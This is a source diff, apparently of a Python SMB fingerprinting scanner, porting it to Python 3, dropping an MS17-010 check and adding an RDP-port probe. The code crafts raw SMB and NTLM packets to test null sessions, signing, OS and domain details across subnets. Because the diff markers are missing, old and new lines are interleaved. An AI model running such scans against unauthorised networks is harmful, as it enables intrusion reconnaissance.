s.settimeout(Timeout)
|
||||
s.connect(Host)
|
||||
s.settimeout(Timeout)
|
||||
s.connect(Host)
|
||||
except:
|
||||
pass
|
||||
pass
|
||||
try:
|
||||
h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00")
|
||||
n = SMBNegoDataLanMan()
|
||||
packet0 = str(h)+str(n)
|
||||
buffer0 = longueur(packet0)+packet0
|
||||
s.send(buffer0)
|
||||
data = s.recv(2048)
|
||||
s.close()
|
||||
if data[8:10] == "\x72\x00":
|
||||
return GetHostnameAndDomainName(data)
|
||||
h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00")
|
||||
n = SMBNegoDataLanMan()
|
||||
packet0 = str(h)+str(n)
|
||||
buffer0 = longueur(packet0)+packet0
|
||||
s.send(NetworkSendBufferPython2or3(buffer0))
|
||||
data = s.recv(2048)
|
||||
s.close()
|
||||
if data[8:10] == b'\x72\x00':
|
||||
return GetHostnameAndDomainName(data)
|
||||
except:
|
||||
pass
|
||||
pass
|
||||
|
||||
def SmbFinger(Host):
|
||||
s = socket(AF_INET, SOCK_STREAM)
|
||||
try:
|
||||
s.settimeout(Timeout)
|
||||
s.connect(Host)
|
||||
except:
|
||||
pass
|
||||
try:
|
||||
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
|
||||
n = SMBNego(Data = SMBNegoData())
|
||||
n.calculate()
|
||||
packet0 = str(h)+str(n)
|
||||
buffer0 = longueur(packet0)+packet0
|
||||
s.send(buffer0)
|
||||
data = s.recv(2048)
|
||||
signing = IsSigningEnabled(data)
|
||||
if data[8:10] == "\x72\x00":
|
||||
head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
|
||||
t = SMBSessionFingerData()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(buffer1)
|
||||
data = s.recv(2048)
|
||||
if data[8:10] == "\x73\x16":
|
||||
OsVersion, ClientVersion = OsNameClientVersion(data)
|
||||
return signing, OsVersion, ClientVersion
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
def check_ms17_010(host):
|
||||
s = socket(AF_INET, SOCK_STREAM)
|
||||
try:
|
||||
s.settimeout(Timeout)
|
||||
s.connect(Host)
|
||||
h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x53\xc8")
|
||||
except:
|
||||
pass
|
||||
try:
|
||||
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
|
||||
n = SMBNego(Data = SMBNegoData())
|
||||
n.calculate()
|
||||
packet0 = str(h)+str(n)
|
||||
buffer0 = longueur(packet0)+packet0
|
||||
s.send(buffer0)
|
||||
s.send(NetworkSendBufferPython2or3(buffer0))
|
||||
data = s.recv(2048)
|
||||
if data[8:10] == "\x75\x00":
|
||||
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",uid=data[32:34],tid=data[28:30],mid="\xc0\x00")
|
||||
t = SMBTransRAPData()
|
||||
t.calculate()
|
||||
packet1 = str(head)+str(t)
|
||||
buffer1 = longueur(packet1)+packet1
|
||||
s.send(buffer1)
|
||||
signing = IsSigningEnabled(data)
|
||||
if data[8:10] == b'\x72\x00':
|
||||
head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
|
||||
t = SMBSessionFingerData()
|
||||
packet0 = str(head)+str(t)
|
||||
buffer1 = longueur(packet0)+packet0
|
||||
s.send(NetworkSendBufferPython2or3(buffer1))
|
||||
data = s.recv(2048)
|
||||
if data[9:13] == "\x05\x02\x00\xc0":
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
else:
|
||||
return False
|
||||
except Exception as err:
|
||||
return False
|
||||
|
||||
if data[8:10] == b'\x73\x16':
|
||||
OsVersion, ClientVersion = OsNameClientVersion(NetworkRecvBufferPython2or3(data))
|
||||
return signing, OsVersion, ClientVersion
|
||||
except:
|
||||
pass
|
||||
|
||||
def check_smb_null_session(host):
|
||||
s = socket(AF_INET, SOCK_STREAM)
|
||||
|
@ -191,65 +187,86 @@ def check_smb_null_session(host):
|
|||
n.calculate()
|
||||
packet0 = str(h)+str(n)
|
||||
buffer0 = longueur(packet0)+packet0
|
||||
s.send(buffer0)
|
||||
s.send(NetworkSendBufferPython2or3(buffer0))
|
||||
data = s.recv(2048)
|
||||
if data[8:10] == "\x75\x00":
|
||||
if data[8:10] == b'\x72\x00':
|
||||
h = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x17\xc8",mid="\x40\x00")
|
||||
n = SMBSessionData()
|
||||
n.calculate()
|
||||
packet0 = str(h)+str(n)
|
||||
buffer0 = longueur(packet0)+packet0
|
||||
s.send(NetworkSendBufferPython2or3(buffer0))
|
||||
data = s.recv(2048)
|
||||
if data[8:10] == b'\x73\x16':
|
||||
h = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x17\xc8",uid=data[32:34].decode('latin-1'),mid="\x80\x00")
|
||||
n = SMBSession2()
|
||||
n.calculate()
|
||||
packet0 = str(h)+str(n)
|
||||
buffer0 = longueur(packet0)+packet0
|
||||
s.send(NetworkSendBufferPython2or3(buffer0))
|
||||
data = s.recv(2048)
|
||||
if data[8:10] == b'\x73\x00':
|
||||
h = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",uid=data[32:34].decode('latin-1'),mid="\xc0\x00")
|
||||
n = SMBTreeConnectData()
|
||||
n.calculate()
|
||||
packet0 = str(h)+str(n)
|
||||
buffer0 = longueur(packet0)+packet0
|
||||
s.send(NetworkSendBufferPython2or3(buffer0))
|
||||
data = s.recv(2048)
|
||||
if data[8:10] == b'\x75\x00':
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
except Exception:
|
||||
pass
|
||||
return False
|
||||
|
||||
##################
|
||||
#run it
|
||||
def ShowResults(Host):
|
||||
try:
|
||||
Hostname, DomainJoined, Time = DomainGrab(Host)
|
||||
Signing, OsVer, LanManClient = SmbFinger(Host)
|
||||
NullSess = check_smb_null_session(Host)
|
||||
if MS17010Check:
|
||||
Ms17010 = check_ms17_010(Host)
|
||||
print "Retrieving information for %s..."%Host[0]
|
||||
print "SMB signing:", Signing
|
||||
print "Null Sessions Allowed:", NullSess
|
||||
print "Vulnerable to MS17-010:", Ms17010
|
||||
print "Server Time:", Time[1]
|
||||
print "OS version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)
|
||||
print "Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined)
|
||||
else:
|
||||
print "Retrieving information for %s..."%Host[0]
|
||||
print "SMB signing:", Signing
|
||||
print "Null Sessions Allowed:", NullSess
|
||||
print "Server Time:", Time[1]
|
||||
print "OS version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)
|
||||
print "Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined)
|
||||
Hostname, DomainJoined, Time = DomainGrab((Host, 445))
|
||||
Signing, OsVer, LanManClient = SmbFinger((Host, 445))
|
||||
NullSess = check_smb_null_session((Host, 445))
|
||||
print(("Retrieving information for %s..."%(Host)))
|
||||
print(("SMB signing: %s"%(Signing)))
|
||||
print(("Null Sessions Allowed: %s"%(NullSess)))
|
||||
print(("Server Time: %s"%(Time[1])))
|
||||
print(("OS version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)))
|
||||
print(("Machine Hostname: '%s'\nThis machine is part of the '%s' domain"%(Hostname, DomainJoined)))
|
||||
print(("RDP port open: '%s'\n"%(IsRDPOn((Host,3389)))))
|
||||
except:
|
||||
pass
|
||||
pass
|
||||
|
||||
def ShowSmallResults(Host):
|
||||
s = socket(AF_INET, SOCK_STREAM)
|
||||
try:
|
||||
s.settimeout(Timeout)
|
||||
s.connect(Host)
|
||||
s.settimeout(Timeout)
|
||||
s.connect((Host, 445))
|
||||
except:
|
||||
return False
|
||||
return False
|
||||
|
||||
try:
|
||||
if MS17010Check:
|
||||
Hostname, DomainJoined, Time = DomainGrab(Host)
|
||||
Signing, OsVer, LanManClient = SmbFinger(Host)
|
||||
NullSess = check_smb_null_session(Host)
|
||||
Ms17010 = check_ms17_010(Host)
|
||||
message_ms17010 = ", MS17-010: {}".format(Ms17010)
|
||||
print("['{}', Os:'{}', Domain:'{}', Signing:'{}', Time:'{}', Null Session: {} {}".format(Host[0], OsVer, DomainJoined, Signing, Time[1],NullSess, message_ms17010))
|
||||
else:
|
||||
Hostname, DomainJoined, Time = DomainGrab(Host)
|
||||
Signing, OsVer, LanManClient = SmbFinger(Host)
|
||||
NullSess = check_smb_null_session(Host)
|
||||
print("['{}', Os:'{}', Domain:'{}', Signing:'{}', Time:'{}', Null Session: {}".format(Host[0], OsVer, DomainJoined, Signing, Time[1],NullSess))
|
||||
Hostname, DomainJoined, Time = DomainGrab((Host, 445))
|
||||
Signing, OsVer, LanManClient = SmbFinger((Host, 445))
|
||||
NullSess = check_smb_null_session((Host, 445))
|
||||
print(("['{}', Os:'{}', Domain:'{}', Signing:'{}', Time:'{}', Null Session: '{}', RDP:'{}']".format(Host, OsVer, DomainJoined, Signing, Time[1],NullSess,IsRDPOn((Host,3389)))))
|
||||
except Exception as err:
|
||||
pass
|
||||
|
||||
def IsRDPOn(Host):
|
||||
s = socket(AF_INET, SOCK_STREAM)
|
||||
try:
|
||||
s.settimeout(Timeout)
|
||||
s.connect(Host)
|
||||
if s:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
except Exception as err:
|
||||
return False
|
||||
|
||||
def RunFinger(Host):
|
||||
m = re.search("/", str(Host))
|
||||
if m:
|
||||
|
@ -262,13 +279,13 @@ def RunFinger(Host):
|
|||
else:
|
||||
func = ShowResults
|
||||
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
|
||||
p = multiprocessing.Process(target=func, args=((host,445),))
|
||||
p = multiprocessing.Process(target=func, args=((host),))
|
||||
threads.append(p)
|
||||
p.start()
|
||||
else:
|
||||
if options.grep_output:
|
||||
ShowSmallResults((Host,445))
|
||||
ShowSmallResults(Host)
|
||||
else:
|
||||
ShowResults((Host,445))
|
||||
ShowResults(Host)
|
||||
|
||||
RunFinger(Host)
|
||||
|
|
|
@ -1,24 +1,33 @@
|
|||
import random, struct
|
||||
import random, struct, sys
|
||||
from socket import *
|
||||
from time import sleep
|
||||
from odict import OrderedDict
|
||||
|
||||
def longueur(payload):
|
||||
length = struct.pack(">i", len(''.join(payload)))
|
||||
return length
|
||||
#Python version
|
||||
if (sys.version_info > (3, 0)):
|
||||
PY2OR3 = "PY3"
|
||||
else:
|
||||
PY2OR3 = "PY2"
|
||||
|
||||
def StructWithLenPython2or3(endian,data):
|
||||
#Python2...
|
||||
if PY2OR3 is "PY2":
|
||||
return struct.pack(endian, data)
|
||||
#Python3...
|
||||
else:
|
||||
return struct.pack(endian, data).decode('latin-1')
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
for k,v in list(kw.items()):
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
return "".join(map(str, list(self.fields.values())))
|
||||
|
||||
class SMBHeader(Packet):
|
||||
fields = OrderedDict([
|
||||
|
@ -42,9 +51,9 @@ class SMBNego(Packet):
|
|||
("Bcc", "\x62\x00"),
|
||||
("Data", "")
|
||||
])
|
||||
|
||||
|
||||
def calculate(self):
|
||||
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
|
||||
self.fields["Bcc"] = StructWithLenPython2or3("<h",len(str(self.fields["Data"])))
|
||||
|
||||
class SMBNegoData(Packet):
|
||||
fields = OrderedDict([
|
||||
|
@ -101,7 +110,7 @@ class SMBSessionData(Packet):
|
|||
("wordcount", "\x0c"),
|
||||
("AndXCommand", "\xff"),
|
||||
("reserved","\x00" ),
|
||||
("andxoffset", "\xec\x00"),
|
||||
("andxoffset", "\xec\x00"),
|
||||
("maxbuff","\x04\x11"),
|
||||
("maxmpx", "\x32\x00"),
|
||||
("vcnum","\x00\x00"),
|
||||
|
@ -131,8 +140,8 @@ class SMBSessionData(Packet):
|
|||
("NegTokenInitSeqNLMPTag2Octet","\x04"),
|
||||
("NegTokenInitSeqNLMPTag2OctetLen","\x28"),
|
||||
("NegTokenInitSeqMechSignature","\x4E\x54\x4c\x4d\x53\x53\x50\x00"),
|
||||
("NegTokenInitSeqMechMessageType","\x01\x00\x00\x00"),
|
||||
("NegTokenInitSeqMechMessageFlags","\x07\x82\x08\xa2"),
|
||||
("NegTokenInitSeqMechMessageType","\x01\x00\x00\x00"),
|
||||
("NegTokenInitSeqMechMessageFlags","\x07\x82\x08\xa2"),
|
||||
("NegTokenInitSeqMechMessageDomainNameLen","\x00\x00"),
|
||||
("NegTokenInitSeqMechMessageDomainNameMaxLen","\x00\x00"),
|
||||
("NegTokenInitSeqMechMessageDomainNameBuffOffset","\x00\x00\x00\x00"),
|
||||
|
@ -145,13 +154,13 @@ class SMBSessionData(Packet):
|
|||
("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
|
||||
("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
|
||||
("NegTokenInitSeqMechMessageVersionTerminator","\x00"),
|
||||
("nativeOs","Windows 2002 Service Pack 3 2600".encode('utf-16le')),
|
||||
("nativeOs","Windows 2002 Service Pack 3 2600".encode('utf-16le').decode('latin-1')),
|
||||
("nativeOsterminator","\x00\x00"),
|
||||
("nativelan","Windows 2002 5.1".encode('utf-16le')),
|
||||
("nativelan","Windows 2002 5.1".encode('utf-16le').decode('latin-1')),
|
||||
("nativelanterminator","\x00\x00\x00\x00"),
|
||||
|
||||
])
|
||||
def calculate(self):
|
||||
def calculate(self):
|
||||
|
||||
data1 = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
|
||||
|
||||
|
@ -170,33 +179,33 @@ class SMBSessionData(Packet):
|
|||
data9 = str(self.fields["wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["reserved"])+str(self.fields["andxoffset"])+str(self.fields["maxbuff"])+str(self.fields["maxmpx"])+str(self.fields["vcnum"])+str(self.fields["sessionkey"])+str(self.fields["securitybloblength"])+str(self.fields["reserved2"])+str(self.fields["capabilities"])+str(self.fields["bcc1"])+str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NegTokenInitSeqMechMessageVersionTerminator"])+str(self.fields["nativeOs"])+str(self.fields["nativeOsterminator"])+str(self.fields["nativelan"])+str(self.fields["nativelanterminator"])
|
||||
|
||||
data10 = str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])
|
||||
|
||||
|
||||
data11 = str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])
|
||||
|
||||
## Packet len
|
||||
self.fields["andxoffset"] = struct.pack("<H", len(data9)+32)
|
||||
self.fields["andxoffset"] = StructWithLenPython2or3("<H", len(data9)+32)
|
||||
##Buff Len
|
||||
self.fields["securitybloblength"] = struct.pack("<H", len(data1))
|
||||
self.fields["securitybloblength"] = StructWithLenPython2or3("<H", len(data1))
|
||||
##Complete Buff Len
|
||||
self.fields["bcc1"] = struct.pack("<H", len(data5))
|
||||
self.fields["bcc1"] = StructWithLenPython2or3("<H", len(data5))
|
||||
##App Header
|
||||
self.fields["ApplicationHeaderLen"] = struct.pack("<B", len(data2))
|
||||
self.fields["ApplicationHeaderLen"] = StructWithLenPython2or3("<B", len(data2))
|
||||
##Asn Field 1
|
||||
self.fields["AsnSecMechLen"] = struct.pack("<B", len(str(self.fields["AsnSecMechStr"])))
|
||||
self.fields["AsnSecMechLen"] = StructWithLenPython2or3("<B", len(str(self.fields["AsnSecMechStr"])))
|
||||
##Asn Field 1
|
||||
self.fields["ChoosedTagStrLen"] = struct.pack("<B", len(data3))
|
||||
self.fields["ChoosedTagStrLen"] = StructWithLenPython2or3("<B", len(data3))
|
||||
##SpNegoTokenLen
|
||||
self.fields["NegTokenInitSeqHeadLen"] = struct.pack("<B", len(data4))
|
||||
self.fields["NegTokenInitSeqHeadLen"] = StructWithLenPython2or3("<B", len(data4))
|
||||
##NegoTokenInit
|
||||
self.fields["NegTokenInitSeqHeadLen1"] = struct.pack("<B", len(data10))
|
||||
self.fields["NegTokenInitSeqHeadLen1"] = StructWithLenPython2or3("<B", len(data10))
|
||||
## Tag0 Len
|
||||
self.fields["NegTokenInitSeqNLMPLen"] = struct.pack("<B", len(data11))
|
||||
self.fields["NegTokenInitSeqNLMPLen"] = StructWithLenPython2or3("<B", len(data11))
|
||||
## Tag0 Str Len
|
||||
self.fields["NegTokenInitSeqNLMPTag1Len"] = struct.pack("<B", len(str(self.fields["NegTokenInitSeqNLMPTag1Str"])))
|
||||
self.fields["NegTokenInitSeqNLMPTag1Len"] = StructWithLenPython2or3("<B", len(str(self.fields["NegTokenInitSeqNLMPTag1Str"])))
|
||||
## Tag2 Len
|
||||
self.fields["NegTokenInitSeqNLMPTag2Len"] = struct.pack("<B", len(data6))
|
||||
self.fields["NegTokenInitSeqNLMPTag2Len"] = StructWithLenPython2or3("<B", len(data6))
|
||||
## Tag3 Len
|
||||
self.fields["NegTokenInitSeqNLMPTag2OctetLen"] = struct.pack("<B", len(data7))
|
||||
self.fields["NegTokenInitSeqNLMPTag2OctetLen"] = StructWithLenPython2or3("<B", len(data7))
|
||||
|
||||
|
||||
#########################################################################################################
|
||||
|
@ -214,10 +223,10 @@ class SMBSession2(Packet):
|
|||
("reserved2","\x00\x00\x00\x00"),
|
||||
("capabilities", "\xd4\x00\x00\xa0"),
|
||||
("bcc1","\xbf\x00"),
|
||||
("ApplicationHeaderTag","\xa1"),
|
||||
("ApplicationHeaderLen","\x57"),
|
||||
("AsnSecMechType","\x30"),
|
||||
("AsnSecMechLen","\x55"),
|
||||
("ApplicationHeaderTag","\xa1"),
|
||||
("ApplicationHeaderLen","\x57"),
|
||||
("AsnSecMechType","\x30"),
|
||||
("AsnSecMechLen","\x55"),
|
||||
("ChoosedTag","\xa2"),
|
||||
("ChoosedTagLen","\x53"),
|
||||
("ChoosedTag1","\x04"),
|
||||
|
@ -227,14 +236,14 @@ class SMBSession2(Packet):
|
|||
("NLMPAuthMsgLMChallengeLen","\x01\x00"),
|
||||
("NLMPAuthMsgLMChallengeMaxLen","\x01\x00"),
|
||||
("NLMPAuthMsgLMChallengeBuffOffset","\x50\x00\x00\x00"),
|
||||
("NLMPAuthMsgNtChallengeResponseLen","\x00\x00"),
|
||||
("NLMPAuthMsgNtChallengeResponseMaxLen","\x00\x00"),
|
||||
("NLMPAuthMsgNtChallengeResponseLen","\x00\x00"),
|
||||
("NLMPAuthMsgNtChallengeResponseMaxLen","\x00\x00"),
|
||||
("NLMPAuthMsgNtChallengeResponseBuffOffset","\x51\x00\x00\x00"),
|
||||
("NLMPAuthMsgNtDomainNameLen","\x00\x00"),
|
||||
("NLMPAuthMsgNtDomainNameMaxLen","\x00\x00"),
|
||||
("NLMPAuthMsgNtDomainNameBuffOffset","\x48\x00\x00\x00"),
|
||||
("NLMPAuthMsgNtUserNameLen","\x00\x00"),
|
||||
("NLMPAuthMsgNtUserNameMaxLen","\x00\x00"),
|
||||
("NLMPAuthMsgNtUserNameLen","\x00\x00"),
|
||||
("NLMPAuthMsgNtUserNameMaxLen","\x00\x00"),
|
||||
("NLMPAuthMsgNtUserNameBuffOffset","\x48\x00\x00\x00"),
|
||||
("NLMPAuthMsgNtWorkstationLen","\x08\x00"),
|
||||
("NLMPAuthMsgNtWorkstationMaxLen","\x08\x00"),
|
||||
|
@ -261,14 +270,14 @@ class SMBSession2(Packet):
|
|||
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
def calculate(self):
|
||||
|
||||
self.fields["NLMPAuthMsgNtUserName"] = self.fields["NLMPAuthMsgNtUserName"].encode('utf-16le')
|
||||
self.fields["NLMPAuthMsgNtDomainName"] = self.fields["NLMPAuthMsgNtDomainName"].encode('utf-16le')
|
||||
self.fields["NLMPAuthMsgNtWorkstationName"] = self.fields["NLMPAuthMsgNtWorkstationName"].encode('utf-16le')
|
||||
self.fields["NLMPAuthMsgNtUserName"] = self.fields["NLMPAuthMsgNtUserName"].encode('utf-16le').decode('latin-1')
|
||||
self.fields["NLMPAuthMsgNtDomainName"] = self.fields["NLMPAuthMsgNtDomainName"].encode('utf-16le').decode('latin-1')
|
||||
self.fields["NLMPAuthMsgNtWorkstationName"] = self.fields["NLMPAuthMsgNtWorkstationName"].encode('utf-16le').decode('latin-1')
|
||||
|
||||
self.fields["nativeOs"] = self.fields["nativeOs"].encode('utf-16le')
|
||||
self.fields["nativelan"] = self.fields["nativelan"].encode('utf-16le')
|
||||
self.fields["nativeOs"] = self.fields["nativeOs"].encode('utf-16le').decode('latin-1')
|
||||
self.fields["nativelan"] = self.fields["nativelan"].encode('utf-16le').decode('latin-1')
|
||||
|
||||
CompletePacketLen = str(self.fields["wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["reserved"])+str(self.fields["andxoffset"])+str(self.fields["maxbuff"])+str(self.fields["maxmpx"])+str(self.fields["vcnum"])+str(self.fields["sessionkey"])+str(self.fields["securitybloblength"])+str(self.fields["reserved2"])+str(self.fields["capabilities"])+str(self.fields["bcc1"])+str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])+str(self.fields["NLMPAuthLMChallengeStr"])+str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])+str(self.fields["NLMPAuthMsgNTerminator"])+str(self.fields["nativeOs"])+str(self.fields["nativeOsterminator"])+str(self.fields["nativelan"])+str(self.fields["nativelanterminator"])
|
||||
|
||||
|
@ -290,39 +299,39 @@ class SMBSession2(Packet):
|
|||
CalculateNTChallengeOffset = str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])+str(self.fields["NLMPAuthLMChallengeStr"])
|
||||
|
||||
## Packet len
